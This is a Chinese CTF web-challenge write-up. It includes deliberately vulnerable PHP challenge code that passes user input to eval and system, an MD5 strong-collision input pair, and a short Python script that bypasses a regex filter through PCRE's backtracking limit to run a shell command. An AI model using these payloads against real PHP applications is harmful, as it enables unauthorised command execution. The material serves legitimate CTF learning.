Web
Checkin
友好的签到题,《原神》是一款由米哈游开发的开放世界冒险角色扮演游戏,于2022年9⽉28⽇正式发售。游戏的背景设定在⼀个名为提瓦特的幻想世界,玩家将扮演一个被神秘力量分离的旅行者,通过自定义外貌、技能和装备,探索这个充满奇幻和冒险的世界。
网页打开发现没有什么东西,考虑查看源码,发现右键和F12被禁⽤,那么采⽤其他方式进⾏源码查看:
1 2 3 4
| view-source: url curl url 浏览器禁⽤js脚本 浏览器相关插件等方式
|
Ez_PHP
include文件包含,使用伪协议php://filter进行读取即可。使⽤数组绕过经典MD5判断,路径中无意义的部分不会影响最后的读取
随后获得base64加密的flag,解密即可。
NormalBypass
NormalShell
原题代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php
error_reporting(0); highlight_file(__FILE__); if ((string)$_GET['username'] !== (string)$_GET['password'] && md5($_GET['username']) === md5($_GET['password'])) { if(!isset($_GET['target'])){ echo "Getting over it!"; } else { $res = $_GET['target']; if(!preg_match("/[a-zA-Z0-9_$@]+/",$res)){ eval($res); } else { die('Soon'); } }} else { die("NOT NOT YET!");} ?> NOT NOT YET!
|
本题第一关经典MD5,通过MD5强碰撞解决:
1 2
| username=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 password=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
|
接下来的过滤⽐较严格,我们注意到返回报文里的PHP版本:
参考无字母无数字webshell的此文章:https://www.freebuf.com/articles/web/186298.html
这里的preg_match多了对@的限制,我们仍然使⽤linux的通配符进⾏匹配:
题目过滤数字,所以我们使用数字和@之间特殊字符进行匹配:
根据这些以及文章内容构造出恶意POST包即可进行任意命令执行:
NormalUpload
NormalPreg
原题代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| ?php error_reporting(0); $target=@$_POST['target']; $code = @$_POST['code'];
function process($code){ return preg_replace("/php|cat|tac|assert|pcntl_exec|fwrite|curl|sleep|eval|system|assert|flag|shell_exec|passthru|exec|F10g|fl0g|fl1g|phar/i",'',$code); }
if(!is_array($target)){
if(!preg_match_all('/but.*how/is',$target)){
if(strpos($target,'but how')!==false){ system(process($code)); }else{ die('tip: backup file there'); }
}else{ die('NO there'); } } ?
|
本题考点是利用php的正则回溯次数上限进行绕过,以及linux通配符,使用下面的脚本就能解决:
1 2 3 4 5 6 7 8 9
| import requests from io import BytesIO
data = { 'target': BytesIO(b'but how' + b'a' * 1000000), 'code':BytesIO(b'tail /*lag') } res = requests.post('http://ctf.v50to.cc:10074/',data=data) print(res.text)
|
关于一些比较常见的 Preg 绕过问题可以学习这篇文章:https://blog.csdn.net/q20010619/article/details/120091191
Normal-unserialize
Ezxsssss
newnew
Loggggg